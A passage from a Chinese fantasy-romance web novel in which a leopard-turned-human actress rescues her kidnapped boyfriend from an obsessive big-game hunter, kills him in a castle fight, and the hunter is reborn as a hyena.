好吧,指责的话当着对面那双亮晶晶的眼睛,很难说出来。 “刚才的你和现在的你,都好看,我都很想念。” 黎星言如愿以偿,上扬的嘴角快咧到耳后根。 突然,一阵低沉的呜咽声响起。 雄狮慢慢悠悠晃到云媞腿边,睨了眼手机屏幕,温顺趴下。 “刚过去的是啥玩意儿!” 黎星言瞪大双眼,一时以为自己太久没睡产生了幻觉,“那大脸盘,那金黄色的鬃毛……” “是狮子。” 云媞一边撸着雄狮的脑袋,一边向他原原本本地讲了今天的经过。 包括被路之舟邀请去庄园、目睹地下斗兽场的骇人场面以及暴揍Vilereus的壮举。 黎星言虽然爱玩,但玩的那些项目,从某种程度上来说,就像普通小孩常玩的过家家、捉迷藏。 地下斗兽场、专门狩猎保护动物的越野俱乐部……如此残忍黑暗的游戏,他从未接触过。 黎星言顿时沉下脸,“那个男人太危险了!不行,这段时间我还是多雇几个保镖守着你吧……” 什么情情爱爱、小三小四,在云媞的人身安全面前不值一提。 “你雇的保镖还不一定有我能打。”云媞淡定表示。 也是。但…… 这么变态的男人万一缠上媞媞…… 云媞抬眸,“我会让他为自己的所作所为,付出代价。” 第77章 翌日,黎冉请来国家野生动物园的园长及其团队,经过全方面的悉心检查,确认雄狮各项身体指标还算平稳。 休养得当的话,用不了几个月,便能恢复状态。 但放归野外是不太现实了。 园长也是人精,不问雄狮的来历,只问它的去处,“要是愿意,可以送来我们动物园,流程我帮忙走好,一定把它照顾得好好的。” 话没说完,刚才还极为配合的雄狮猛得弹起身子,鼻腔中喷出不满的气声,晃着脑袋走开了。 真跟成精了似的。 一行人瞠目结舌。 黎冉见状笑道:“家中小孩救助的,以后的打算还是得先听小孩的意愿。感谢陆园长关照,若是送去动物园,您那儿肯定是最好的去处。” “哎,小冉,你这可就太见外了……” 老友相逢,寒暄许久后,陆园长又带团队去看了“鼎鼎有名”的大明星爆爆和小黑。 一猴一蛇都养得油光水滑。 “小黑不是胖,看骨骼发育状况,它的体量就是这么大。现在还在生长期,以后应该会稳定下来。” 听到园长的话,小黑瞬间支棱起来,嘶嘶直叫:「园长明鉴呐!是不是专家,我小黑一眼就能看出来!」 爆爆在头顶的树梢荡来荡去。 「嗷,你不是胖,你是死装……啊不strong!」 不懂一猴一蛇突然兴奋什么,但它俩肢体语言太过通人性,看得陆园长连连咋舌。 最后忍不住开始考察起这片后山的风水。 “奇了怪了,你家那小姑娘到底怎么养的?狮子猴子和蛇,都能养的这么聪明,相处还很融洽哩,跟开智了似的。” 园长开玩笑地调侃:“小姑娘有考虑做饲养员吗?” 团队其他人也纷纷打趣:“园长,人云媞现在可是大明星!您还不如劝黎老师把这里开放成动物园呢,说不定还现实一点……” 黎冉笑而不语- 另一边,剧组的拍摄重回正轨。 自从那次把Vilereus打服帖后,他再也没在云媞眼前出现过,仿佛销声匿迹一般。 不过,黎星言远程雇的保镖仍发挥了极大作用。 因为云媞越来越火了。 《生存者游戏》直播结束后的第三个月,正片外网上线。 国内最权威的视频平台斥巨资,引进了未分级剪辑版,作为平台年度主推项目播出。 原本只在年轻人群体中爆火的“媞姐”,现在因综艺曝光全覆盖,几乎变成了一种新型“社交货币”。 大家一见面不问“吃了吗”,张口就问“你知道媞姐吗”。 尽管这个所谓的“姐”,只不过是刚满二十岁的小姑娘。 新闻采访、节目影视、广告邀约不断,贺君卓每天都要熬到大半夜,从中精挑细选最适合云媞的。 但他乐在其中,找到了自己的人生价值,工作竟也变得面目可亲起来。 至于云媞,已经从最初的烦闷到麻木再到坦然接受。 她开始明白,那些奇怪人类总喜欢对着自己咿咿哇哇地乱叫,是因为喜欢得无以言表。 就像她看到美食和钱时,也会发出同样的声音。 在这期间,云媞还收到了一条陌生短信。 一个自称国家攀岩队的教练,邀请她参加攀岩公开选拔赛,有机会入选国家队、为国争光。 为国争光?关她什么事。 云媞莫名其妙地嘟囔几句,无情将这条信息分类到了垃圾短信中。 片场。 最近几场戏,拍的是女侠客的情感爆发线。 仇人相见、真相大白,被复仇夺去理智的女主不慎中了敌人圈套,命悬一线之际,忠犬男主舍命相助,最后惨死在女主怀中。 女主这时才明白自己的心,原来她对男主的感情不仅是“习惯”那么简单,她早在细水长流的陪伴中,爱上了对方…… “咔!” 许彦青紧蹙眉头,“媞姐,这场戏的感觉不对啊。” 他的评价还是保守了,何止是不对,简直大错特错。 爱人死在自己怀里,不敢置信、隐忍悔恨再到悲痛欲绝,这些情绪递进通通没有。 云媞的表情甚至有些迷惑,好像在问:谁让你挡我前面了,你不来添乱,这场对决姐压根不能输! 调了好几次,她总算找到了一些类似低落的情绪,但与悲痛仍相差甚远。 摸了下日渐稀少的头发,许彦青开始斟酌该用什么方式表达,才能让云媞理解这场戏的内核。 “想象一下,你历经千幸万苦终于找到了杀父杀母仇人,还没等到手刃仇敌,对方反而用奸计把你男朋友刀了,”许彦青猛拍桌子,仿佛把自己给说气了,“你恨不恨?悔不悔!” …… 没感觉。 云媞想了想,她出生后就没见过豹爹,豹妈妈也不可能被人类抓到,她的男朋友……黎星言? 他活 得好好的,今早还给自己打了视频电话,废话多得耳朵疼,他怎么会死。 “媞姐,要不,你把我想象成黎少?” 文展擦掉嘴角血包留下的痕迹,蹲到她身旁,“虽然这么讲有点冒犯,不过,从现在开始你可以直接把我的脸替换成黎少。” “万一,我是说万一哈……他上一秒跟你说,爱上了别人,不爱你了,下一秒在你遇到危险时冲出来替你挡子弹,一句话都没有留,就死在了你怀里……” 云媞抬眸,一错不错地盯着文展。 那双漆黑的眼眸中,带着浓浓的警告,吓得他陡然咽下嘴边的话。 “诶,这个眼神戏不错!不敢置信和隐忍悔恨都沾了点边,”许彦青无奈叹气,“但还是缺了爱意和悲痛。” 可惜明娇娇今天有事请假,要是她在的话,说不定还能激起点云媞的“爱意”。 生活阅历不够,共情力来凑。 讲戏就是这样,说一万遍“真听真看真感受”,都不如拿一个贴切的例子直戳演员内心。 在状态不佳的情况下,情绪可能越难以爆发出来,逼到最后只会折磨导演、为难演员、残害观众。 “这样吧,这场戏咱暂时往后挪,把别的先拍了。” 许彦青心平气和地说:“媞媞不用急,在别的剧组,你演的这些其实是可以拿出去交差的,但我认为你不止如此,所以,我希望能挖掘出你最佳的状态。” 说罢,他半开玩笑地补充一句:“回家后可以和黎导远程对对戏,说不定他会给你带来不同的感触。”- 今天的拍摄任务,让云媞深受打击。 连班列和贺君卓喊她一起吃大餐,她都拒绝了。 “人豹殊途”那句话或者是对的,她只能接收那些易于模仿的浅表性情绪,人类那些大起大落的表情,她理解不了,更爆发不出来。 就像贺君卓常骂圈内某些艺人的一句话,“那人表面看起来很阳光,实际都是伪装出来的,所以他就是个阳伪。” 云媞叹了口气,给黎星言发了条信息:「我好像是阳痿。」 不对。 她不阳光。 所以,云媞又连着发了一条:「我是伪人。」 黎星言那边正值深夜,可想而知,短时间内是得不到回应了。 不过云媞并不意在“求安慰”,她更倾向于描述自己当下的感触。 这也是黎星言教给她的“做人潜规则”:与重要的人倾诉每天发生的日常琐事,永远不要丧失分享欲和表达欲。 老实说,刚开始云媞并不习惯,所以大部分时间都是黎星言讲自己在学校、实习片场的事情。 小到看见一片纹路清晰的落叶、蚂蚁蚕食食物残渣、一朵玫瑰在暴雨中凋零,大到他执导的短片又获得了什么重量级奖项提名、接受了知名媒体的采访以及……还有五天就可以回国见她了。 云媞不明白,黎星言为什么每天都有那么多话要说,但在他的“言传身教”下,她也慢慢开始分享起生活中那些无关紧要的小事。 有时刚发出去,云媞就想撤回了。 内容实在过于无趣,自己看起来像个白痴。 但只要黎星言在线,她总能立刻获得最热烈的反馈,就好像自己生活中任何不足挂齿的琐事,于他而言都是天大的要事。 将手机放到身侧,云媞径直仰躺在后山的草坪上。 当下暮色四合,斜阳坠檐,最后一线天光悬在林间。 爆爆和小黑正吵着谁先“骑大狮子兜风”。 雄狮甩了甩尾巴,趁一猴一蛇不注意,默默远离战场。 它不紧不慢走到云媞身边,将脑袋轻轻搁在她腿上,舒服地打起咕噜。 雄狮因清伤缝线而被剃去的鬃毛已经长出短茬,身上大大小小的伤口也慢慢愈合,这只灵性又温和的野兽完全适应了被人类饲养的生活。 捏着它柔软又有韧劲的巨型爪垫,云媞不禁感叹:“做人好难。” 雄狮闻声望向她,那双黄褐色的眼睛依旧慈悲而宁静。 “好吧,做人也很好。”云媞抱住它,轻轻吹了吹那块隐隐能看到皮肉的稀疏鬃毛,“至少命运可以掌握在自己手里。” …… 几个小时后。 云媞没有如期收到黎星言的“早安问候”,却率先收到了Vilereus的好友申请。 随手点了拒绝,对方就一直发,直到她不胜其烦。 刚通过好友,紧接着又是一通视频邀请。 这人……简直比她还不像人。 云媞蹙眉接通,谩骂刚到嘴边。 “早上好,云媞。” Vilereus笑得人模狗样,下一秒错愕改口,“哦,差点忘了,华国还是晚上。” “这么晚还没睡,是在等我吗?”他问。 云媞:“嗯,在等你头七。” Vilereus也不生气,反而笑得越发开心。 光看他那张脸,倒挺有迷惑性,完全想象不出这人是个死变态。 “这么久未见,你难道一点都不想我吗?”他单手撑着太阳穴,似乎很是苦恼,“可是我很想你啊,很想让你再狠狠揍我一顿,越用力越好……你觉得,我应该用什么办法才好呢?” “不过在那之前,你可以先猜猜,我现在身在何处。” 随着镜头拉远,画面囊括的周边环境逐渐清晰。 白日的阴天,与国内截然不同的建筑物,他正坐在室外,似乎是个咖啡厅。 云媞的眼睛一瞬间将所有细节捕捉进脑,但她冷漠地说了句:“死哪儿都与我无关。你个阳伪。” 说罢,挂断视频通话。 片刻后,Vilereus发来一张照片。 是他的自拍,画面中的他微微偏头,笑着用手指向右上角一个男人的背影。 男人似乎正在和白人老头儿交谈,尽管只露出了一小半的侧脸和鼻尖,但云媞仍瞬间认出这就是黎星言。 「他死哪儿也与你无关吗?」 「另外,我不是阳痿,要试试吗^^」 第78章 发出的消息,都没有回音。 电话一遍遍拨出,也被拒接。 “媞姐,冷静!” 按住云媞机械重复拨号动作的手,贺君卓愁容满面,“马上起飞了……你先好好休息一下?” 虽不知具体发生了什么,但他明显察觉云媞状态不对。 刚才,他正在家打游戏的决胜阶段,突然接到云媞来电,问自己会不会订出国机票。 那还是贺君卓第一次见她如此慌乱,连话里都带着颤音,“我、我要去找黎星言……” 来不及多问,他当即订了两张最近的机票。 云媞没有说要带上班列,他本想瞒过去。可那家伙实在敏锐,在班列的“严刑”逼问下,没办法,他只好又补买了一张票。 所幸黎星言之前怕两位大明星有要事出国,硬拉着云媞和班列办过护照,不然还真不好搞。 …… 几分钟后,客机平稳起飞。 眩窗外漆黑一片,往下看,地面星罗棋布,像倒置浮动的银河。 云媞很快重回镇静。 她侧身平躺下去,背对班列和贺君卓,“我先睡了。” “好。” 班列嘴角嗫嚅几下,欲言又止,最后将薄毯盖到云媞肩背,什么都没有多问。 贺君卓也故作轻松地笑道:“说不定一下飞机,言哥的电话就打过来了呢!”- “为什么不接电话?” Vilereus挑眉,佯装愠怒地谴责道:“她会担心的。” 古堡内。 黑理石壁炉嵌着豹首浮雕,火焰在雾化壁炉里模拟出木柴的爆裂声,似乎随时可能将地面铺满的各式兽皮燃烬。 不动声色观察着周围的环境,黎星言心底已经有了答案,却仍沉下脸明知故问:“你是谁?你到底想做什么。” “她没有跟你提起过我吗?” Vilereus惋惜摇头,“那只能说明,你们之间的感情很一般啊……” …… 看来媞媞说的没错,这人果然是个神经病。 黎星言不至于中这种低级的挑拨离间法。 但不知道对方绑来自己究竟有何意图,他只能尽可能地拖延时间,为私家保镖寻过来争取更多可能性。 “你知道我爸是谁吗!敢绑我,你不要命了!劝你趁我的人没到,赶紧把我放了,不然……” “放,自然会放,”Vilereus一眼看穿黎星言,笑着晃了下手机,“我给云媞发了定位,你猜是她先到,还是你那些没用的保镖先到?” “我猜你大爷!” 意识到他用自己做鱼饵钓云媞,黎星言愤怒地踹倒面前的脚凳,“媞媞才不会上你这死变态的当!我告诉你!她在国内,她绝对不会过来!” “死变态?她是这么形容我的吗?”Vilereus眉梢微抬,似乎想到什么,他面上的笑容越发灿烂,“好像也不错。” 他弯腰拾起被踢翻的脚凳,毫不在意地坐上去,长腿正好伸到黎星言脚边,顺着对方价值不菲的鞋子,一路往上缓缓扫过去。 这个意味深长的眼神,看得黎星言直发毛,“看什么看!你有病啊,要杀要剐赶紧的!怕你我是孙子!” Vilereus低头笑了,“我只是突然好奇,云媞为什么要说我是阳痿。” “我不是,”他盯着对方的某处,歪了歪头,“你是吗?” 没等黎星言破口大骂,Vilereus兀自摇头,“应当不会,你这么弱,要是没有什么过人的长处,她怎么会选择你呢?” “毕竟雌性都是很看中伴侣能力的。” 站在黎星言面前,Vilereus微微俯下身,那双总挂着不太真切的笑意的蓝灰色眼眸,迸出晦暗不明的光亮,“你说是吧,Wendy的人类伴侣?” * 抵达M国时,正值夜晚。 仿佛经历了一场极夜,黑暗连着黑暗,丝毫未漏一线天光。 长时间不见太阳,意味着时间概念的倒错,极易引起心理上的压抑。 古堡的穿堂风长驱直入,将云媞的衣摆吹得猎猎作响。 但吹不散她浑身渗出来的黑气。 强忍着怒火,云媞终于见到Vilereus。 他正坐在黑得锃亮的真皮沙发上,翘个二郎腿抽着雪茄,看见她来,眯起眼摁灭烟蒂。 还未靠近,云媞就闻到一阵浓郁的血腥,隐隐沾着黎星言的气息。 见女孩一错不错地凝视着自己衣服上的血痕,Vilereus垂首,扯平衣摆的褶皱,随后慢条斯理地卷起衬衫袖口,“谁的血,闻得出来吗?” 云媞脸色骤变,抬眸的瞬间,目光冰冷如薄刃,“你伤了他?” “怎么能叫伤呢?我只是想帮你确认一下,你的伴侣是否合格。” 云媞浑身戾气暴涨。 她咬紧牙关,指节攥得泛白,手臂的青筋霎时暴起,仿佛下一秒就要不留余地将对方揍成一滩烂泥。 “但很可惜……” 摇曳的烛灯下,Vilereus嘴角勾起一个阴恻恻的笑容,“他背叛了你,Wendy。” 云媞陡然顿住脚步。 眸中的怒火无声无息地暗下来,她冷静地看着对方,“我不明白你在说什么。” “别装了,他已经全都承认了,你就是那只花豹Wendy。” Vilereus越想越觉得惊奇。 花豹竟然能变成人。闻所未闻! 这个世界简直比他还要疯狂。 他耸肩笑起来,上挑的眼尾弯成一轮新月,“我还一直纳闷,那只花豹为什么突然出现在草原腹地,又神秘失踪。甚至会不惜与鬣狗群为敌,也要保护一个废物人类……” 他“嘶”了一声,饶有兴致地将云媞从上到下扫视一番,“你是妖怪吗?像华国传统灵异故事里写的那样,花豹修炼成人形?” “不过,你的生长地在稀树草原,化成人形为什么会是华国人的长相?” “可以再变成花豹给我看看吗?” …… 仿佛有十万个为什么,Vilereus像个对新奇玩具产生兴趣的小孩。 如果忽略他那张兴奋到疯狂的面容的话。 “这些问题,黎星言没有给你答案吗?” 云媞语气极淡,“那他受的伤,岂不是白挨了?” Vilereus眸光闪烁,没有正面回答她的质询,“他背叛了你,想杀了他吗?我可以帮你动手。” 如果背叛指的是“暴露她是花豹”这一事实,那对云媞来说,这是个伪命题。 若不是黎星言主动让她隐瞒,她从来没想过这个身份会给自己带来威胁。 所以,即使他真的说漏了嘴,对云媞也造成不了任何伤害,无论是生理还是心理。 更何况……他不会。 “你不是一向自诩比顶级掠食者的能力强,才理所当然地残害、禁锢那些野兽吗?” 云媞一字一顿地说:“没有车,没有猎枪和子弹,你在它们面前算个屁。你才是废物,妄自尊大的懦夫。” 话音未落,Vilereus敛了笑,漫不经心地抬眸,“云媞,我不喜欢这句话,你最好收回。” “不同物种是没法在全然均等的水平上进行较量的。它们拥有与生俱来的捕猎天赋,而我利用人类创造的捕猎工具,有何不可?” 跟疯子讲道理是行不通的。 云媞也不是讲道理的人。 “站在你面前的,正是你一直想要较量的对手,现在,我们同属于一个物种。” 云媞微微分开双腿,将拳手捏得咯哒作响,“那便来看看到底谁输谁赢。”- 另一边。 饶是Vilereus也没料到,“化成人形”的不止花豹Wendy,还有个鬣狗斑斑。 不过,他对斑鬣狗这种群居动物不感兴趣,他更倾向于挑战独来独往、漂亮又凶残的。 这份懈怠,使得班列有机可乘。 毕竟在人类世界,除了姐姐,没有人是他的对手。 闻着空气中漂浮的血腥气,犹如无人之境一般,班列一路顺利寻到暗室。 石砌穹顶低垂,巨型挂毯褪成烟灰色,忽明忽灭的光柱中,尘埃悬浮。 扫眼望去,墙上挂满了触目惊心的兽首标本。 显得整个空间越发邪性。 黎星言浑身是血地躺在标本墙下。 像被供给邪灵的献祭品。 刚一靠近,方才还半死不活的人猛地咳嗽几声,如同溺水濒临窒息后重获呼吸,口鼻中都渗出鲜血。 “有本事你就杀了我!怂货!” 黎星言猝然抬头,眼底布满血丝。 他的意识已经有些涣散,看到面前的人,愣怔了好一会儿,才不敢相信地开口:“……班列?” 很快,他反应过来,“媞媞也来了?!” 强撑着站起的身子踉踉跄跄,黎星言佝偻着腰,忍痛般捂住腹部,“那死变态的目的是媞媞,不能、不能让她……” “省省力气吧你,”班列心情复杂,强行将他扛起,“是姐姐让我来救你的,我现在只对你的命负责。” 不顾对方的挣扎,班列径直带他离开暗室,“如果你想引来其他人的话,就继续说。” 黎星言瞬间闭嘴。 安静下来后,沉重的身体越发疲倦麻木。 他垂下脑袋,无声地呼出一口浊气,声音微不可察,“我……又拖媞媞后腿了。” 班列脚步未停。 许久后,出了暗室,夜空一片死寂。 “是因为有你,姐姐才有了人类的完整情感……” 班列偏头看向背上那个呼吸逐渐微弱的男人,顿了顿,“算了,你就安心去死吧,死了还有很多男人排队等着当我姐夫。” 尼玛……好狠…… 回光返照般,黎星言瞬间清醒,甚至能自己下地走路了。 刚走没几步。 突然,一道巨响划破夜空。 黎星言和班列闻声同时回头。 古堡的最高楼。 彩绘玻璃窗轰然倒塌,支离破碎的玻璃片在惨淡月光下滤出血色。 两具交叠的人影齐齐坠落半空—— 作者有话说:十点还有一更[狗头叼玫瑰][狗头叼玫瑰] 第79章 十分钟前。 Vilereus喘着粗气,背抵墙壁,露出酣畅淋漓的笑容。 但这次,他并不是单纯享受被云媞拳脚相加的“快感”,而是真的将她视作势均力敌的对手。 就像在稀树草原上,为了争夺霸主地位而撕扯纠缠的野兽。 没有放水,没有收力,当然,也没有赢。 “你难道不觉得吗?”Vilereus用指腹拭去脸上的血渍,眼神深如寒潭,满是浓浓的侵占欲,“我们才是天生一对。” “不觉得。” 云媞冷冷地回望他。 与对方的狼狈相比,她此时也没好到哪里去。 尽管面上看起来并无大碍,但刚才被Vilereus抓住脚踝甩到墙上时,猛烈撞击的后背仍在隐隐作痛。 云媞的灵巧和轻盈,意味着她更擅长近身作战。 而与动物界一样,雌性在体型和力量上,与雄性有着天然悬殊。 更何况,Vilereus比一般男人更高更壮。 她只能慎之又慎,避免落到对方手中,否则局势逆转只在一瞬间。 在云媞不动声色观察整个空间可利用的布局时,Vilereus似乎胜券在握,还有心思闲聊。 “所以,那只背着你爬上树的成年花豹,是你的妈妈?” 突然想到什么,他饶有兴致地支起身子,轻点墙上的显示屏,“这么久没见,你应该很想念豹妈妈吧?好巧,我派去的人已经找到了它的位置。” 屏幕骤亮,将整个昏暗的房间照得通明。 画面中,两个黑衣男人端着长枪,趴在稀树草原人高的野草丛中。 不远处的金合欢树上,一只花豹正啃食着被开膛破肚的瞪羚。 正是Sinead! 她竟然还留在这个世界! 云媞咬牙切齿地看向Vilereus。 “在我这儿多呆几日,我保证你们母女很快就能团聚,怎么样?” Vilereus缓步绕到沙发后面,双手大开,撑在椅背上。 他眯着眼看向屏幕,仿佛在欣赏一出由自己精心编排的压轴剧目。 那天,与云媞见过一面后,Vilereus越想越觉得不可思议。 于是重新将他爹手上的视频素材全部翻看一遍,还真叫他从遗漏的细枝末节中发现了关联。 排除所有情形,即使事实再不可能,那也是真相。 当然,起初Vilereus只是猜测,于是绑来黎星言,试图从他口中炸出证据。 可这个表面看起来弱不禁风的废物少爷,远比他想象的还要嘴硬。 碍于他的身份地位,Vilereus无法下死手。 不过,对方宁死不屈的反应也让他更加确认,自己的猜测或许没错。 云媞就是花豹Wendy。 Vilereus长叹一口气,不是惋惜或伤感,更像是胜利者即将登上奖台时的喟叹。 “云媞,玩个游戏吧,”他轻挥指尖,示意她做出最后抉择,“花豹妈妈和人类伴侣,你想要哪个?” 这时,云媞腕上的手环轻轻震动一声。 她瞟了一眼,兀自笑了。 “你的脑袋和你的身子,你想要哪个?” Vilereus轻蔑挑眉,不理解她此时的狂妄。 背后巨大的彩色玻璃落地窗,将折射出的惨淡月光铺撒在他身周。 但瑰丽而炫目的哥特式建筑,显然更适合展示在太阳下。 “三秒过了,你没有机会了。” 云媞猛得腾空一跃,踏着沙发飞扑向Vilereus。 男人呼吸一滞,下意识伸手搂着她的腰身。 下一秒,强势的推力让他难以控制自己的身体。 像飞矢而出的子弹,直到背后的玻璃被猛得撞裂,Vilereus才幡然醒悟。 此时,再想脱手已经来不及了。 震耳欲聋的爆破声中,云媞的声音似乎也被锋利的玻璃碎片划开。 “去死吧!” 飞速疾坠的两具身体紧紧贴在一起。 从远处看是这样。 实际上…… 云媞双臂死死攥紧Vilereus的肩颈,双腿也牢牢压在他的身上,防止对方翻过身拿自己垫背。 Vilereus尝试反压,可半空中的失重感,让他完全使不上力,身体也被云媞压制得纹丝不动。 几秒后,他缓缓松开手,面上不见任何错愕、惊恐或愠恼仇恨的情绪。 反而笑得比以往都要真切,“还真是花豹啊。” 小时候,他常常在空无一人的大别墅里,看动物世界的纪录片到深夜,直到困得昏睡过去,这样就可以不用直面独处时的恐惧。 Vilereus喜欢很多强大的动物,因为潜意识的向往和崇拜,久而久之,他开始将自己移情到那些动物身上。 而花豹,无疑是最受他喜欢的物种。 强大神秘而优雅,更重要的是,它们能耐住独处的寂寥,单靠自己便跻身“草原五霸”。 每次看到花豹拖着比自身还要重的猎物上树下树时,他总会把自己代入到花豹的处境。 现在很显然,他只是被当作垫背缓冲的、任由宰割的猎物。 翻不了身,那便严丝合缝地拥抱吧。 Vilereus释然地笑着,紧紧搂住云媞的腰身。 似乎还有话要说,但这次真的没机会了。 “砰”得一声巨响。 作为人的一生,就走到了尽头- 费了一番力气,云媞才从Vilereus铁钳般的禁锢中爬出来。 男人衣服下似乎有什么硬邦邦的东西,刚才一直抵在她的腰窝,生疼。 云媞单膝跪在他身侧,沿着腰腹摸了几下。 摸出一个真皮枪套。 里面装着一把便携手枪,满弹。 Vilereus本可以直接拔枪了结她,却依旧选择坚守游戏规则。 或许如他所述,他爱好猎杀顶级掠食者,是因为在他的个人意志里,自己也是其中一员。 不得不说,这人的确心理变态,但从某种程度上来说,又很纯粹。 所以,他是个纯粹的变态。 看着七窍流血、一息尚存的Vilereus,云媞拨动保险栓,对准他的脑袋,面无表情地说:“送你早点去当真正的野兽吧,走好。” …… 擦掉溅在下巴上的鲜血,随手将枪扔到地上,云媞晃了晃扯疼的肩膀,缓步往外走去。 刚走出数米,两道仓惶奔来的身影,一前一后,由远及近。 此时,黎星言早已意识迷蒙,能跑那么远全靠身体本能。 人在前面赶,魂在后面追。 即将踉跄搀倒之际,班列抬手扶住他,沉思数秒,默默给差点阴阳两隔的苦命小情侣让出空间。 “媞、媞媞……你……” 刚蹦出两个字,黎星言倏地背过身,胡乱擦掉脸上斑驳的血痕,又低头将狼狈且糟糕的头发理顺。 然后才面朝云媞,露出一个灿烂的笑容,“我好想你。” 他边说,边抱紧云媞,“我好想你……” “我好想你……” 黎星言反复呢喃数遍,搁在她肩窝上的脸越埋越深,“你不该来的,我好怕、你、你会中了那个死变态的圈套……” 自己死了无所谓,媞媞那么潇洒,没有他也能活得精彩自在。 可万一,万一她出了什么事…… 少年的后怕,直观地反映在颤抖的躯体上。 他的情感过于炽热,云媞想回应,一时却如鲠在喉。 垂眸,只见对方满身是血,露在外面的肌肤也青一块紫一块,几乎没有一处完好的地方。 怒 气莫名又翻涌直上。 一枪还是少了,再补几枪吧。 “别聊了!快上车啊祖宗们!” 前来接应的贺君卓一脚油门踩到底,飞速开到几人身边,“这破地好像真没人,不过保险起见,还是先撤吧!” 保不准还有增援赶到。 云媞扶着黎星言坐到后排,班列蹿进副驾驶座。 一个神龙摆尾,小车霎时调转方向。 “姐姐,刚才是你开的枪吗?” 云媞“嗯”了一声,“我杀了他。” “什么?!”贺君卓方向盘都握不住了,发出一阵尖锐爆鸣声,“你你你杀人了???” “闭嘴。” 班列蹙眉,犹豫着将捡到的手枪递到后排,“但是……” 他顿了顿,“我刚才没有看到尸体。” * Vilereus的尸体凭空消失了。 这怎么可能! 云媞确信,自己亲手朝他脑门开了一枪。 况且直到离开前,她并未感知到其他人靠近的气息。 可事实就是如此,他们在那附近没有找到Vilereus残存的踪迹。 车内。 云媞和班列都在复盘哪里出了问题。 贺君卓一边开车,一边哀嚎着出谋划策:在异国疑似身犯命案,如何才能逃脱国际法的制裁。 只有黎星言,一言不发地反复擦拭枪身。 “啊对对对,别慌别慌……” 贺君卓透过车内后视镜,看到一向咋呼的黎星言如此沉着冷静,心里突然有谱了,“言哥他爸可是华国首富,这身份地位!只手遮天黑白通吃!肯定有路子脱身……” 黎星言指尖一顿,“不是啊,我把枪上面的指纹擦干净。” 万一警方通过物证线索查到了这里,他便可以一口咬死是自己杀的人,揽下所有罪行。 “啊……”贺君卓愣了一下,反应过来,“顶罪啊?!” “m你们有钱人都这么朴实无华吗?!” 他整个人都不好了,“就没有霸道一点的法子?比如官商勾结、以权谋私什么的……” 虽然疲倦得不行,但黎星言还是吊着一口气,打断贺君卓的危险发言,“你说的那是法外狂徒。” 说的好像你替人顶罪很遵纪守法一样。贺君卓暗自腹诽。 黎星言在板机的位置用力按压几次,模拟拔枪、开枪时的动作,在可能会碰到的地方留下自己的指纹。 做完一整套流程,他才稍稍放下心来,将手枪塞进口袋,随后用另一只手与云媞紧紧地十指相扣。 “别怕媞媞,无论发生什么,我都不会让你独自面对的。” 此男虽笨,但属实忠诚。 轻轻靠在云媞肩上,黎星言终于支撑不住,昏睡过去。 身体严重透支,已经没有力气和意识让他保持当前的姿势。 云媞干脆侧身环抱住他的腰背。 来自他体内那股熟悉而温暖的、类似金合欢花的气息,混着血腥气,萦绕鼻尖。 云媞突然觉得眼眶酸胀,潮湿的热气在眼周氤氲。 半晌,几滴冰凉的液体顺着眼角滑落。 她抬眼望去,原来是窗外下起了大雨。 凛冽的风肆意倒灌,斜雨飘进车内。 连她脸上都泛起雾气- 雨越下越大。 稀树草原上空,转瞬弥漫一层白雾。 刺骨的雨滴砸在额头,像飞矢而来的子弹。 Vilereus猝然睁眼。 千米外啃食草地的象群,远处呼呼作响的骤风,以及泥土翻涌、腐肉泡发糜烂的微妙味道…… 视觉、听觉和嗅觉仿佛都被打通了,敏锐得让人发慌。 Vilereus迟疑地走出几步。 是完全不同于以往的脚感和视角。 还未接受某种既定的奇异命运,突然,一群斑鬣狗扯着嗓子围过来。 为首的鬣狗女王居高临下地俯视道—— 「血统不纯?你是从哪里来的低贱雄性。」 第80章 抵达黎星言在M国的住处。 独栋公寓门外,数名私人医师已经恭候多时。 没用两分钟,就配合有序地将失去意识的黎星言移进屋内。 期间,那把手枪从他口袋掉落。 医护们的神情没有丝毫拨动,直接视而不见地抬脚跨过。 “不愧是枪支自由国啊……”做贼心虚的贺君卓捂嘴嘀咕。 云媞面不改色,正要弯腰拾起。 班列抢在她前面拿到枪,平静地说:“我还没碰过真枪呢,姐姐,借我玩两天吧。” 这是他第一次没有得到云媞的允许就擅自行动。 语气之果决,似乎不管对方答应与否,这把枪他都要定了。 云媞怎么能不明白班列的意思。 “斑斑……”她叹了口气,径直抱住对方,一手覆上他的后脑勺,在耳边轻语,“别担心,我们都不会有事的。” 班列一直压抑的情绪,终于忍不住爆发。 他能闻出云媞体内的伤,所以哪里都不敢乱碰。 只能木头似的直挺挺地站正,弯着脖子将脸埋在她的耳后,哭得像个孩子,“那个狗东西,怎么没落到我手里,我一定会将他碎尸万段……” “诅咒他,”班列低喃道,“诅咒他下辈子变成鬣狗,被那些女流氓狠狠踩在脚下。” 云媞哑然失笑,拍了下他的脑袋,“不是女流氓,是女王。” 而且,说不定你的“诅咒”已经成真了呢。 云媞将这句话默默咽回。 这俩难姐难弟也是难舍难分。 贺君卓没眼看,手贱地偷偷掏出班列刚装进口袋的手枪。 啥破枪啊,这么多人抢。瞅着也不过如此嘛…… 还粘了那么多手油,咦真恶心,擦擦。 他将枪身在裤子上用力摩擦,恨不得像去东北澡堂搓澡一样,搓掉一层皮。 然后神色自若地放进了自己兜里- 黑夜即将燃尽,天光隐隐漏出一线。 看着浑身插了各种管子,胸腹也绑着绷带的黎星言,云媞倏地别开眼,一种从未有过的煎熬爬满心间。 那些复杂的情绪,待一切尘埃落定,才后知后觉地翻涌上来。 直至将她掩埋。 再睁开眼时,已然换了天地。 她又回到了那座古堡。 黎星言鲜血淋漓地躺在地上,生死不明。 而另一侧,身负重伤的Sinead被关在带电的八角笼中,奄奄一息。 Vilereus一手举着枪,一手拿着电笼的开关,笑得猖狂而扭曲,“他们的命,现在都在你手里,告诉我,你想选谁留下。” “我选你死!” 她想奋起一搏,直接手刃面前的男人,可全身沉重得动弹不得。 “什么?你想选黎星言死?” Vilereus颔首,晃了晃手枪,径直朝黎星言的胸口开了一枪,“好吧,如你所愿。” 伴随震耳欲聋的一声枪响,鲜血霎时汩汩冒出,流了一地。 云媞不知道自己是如何移到黎星言身边,又如何将浑身是伤的他抱进怀中的,她只感觉血水就像大雨一样,浸透全身,寒冷刺骨。 偏偏那个话痨黎星言,还笑着想要张嘴。 鲜血瞬间喷涌,溅了她一脸。 “你闭嘴!别说话了!”云媞眦目欲裂,想伸手捂住他的嘴。 可那血无论怎么掩,最终都沿着指缝流到干涸。 她亲眼目睹黎 星言死在自己怀中。 一向敏锐的嗅觉像失灵了一般,再也闻不到他残存的气息。 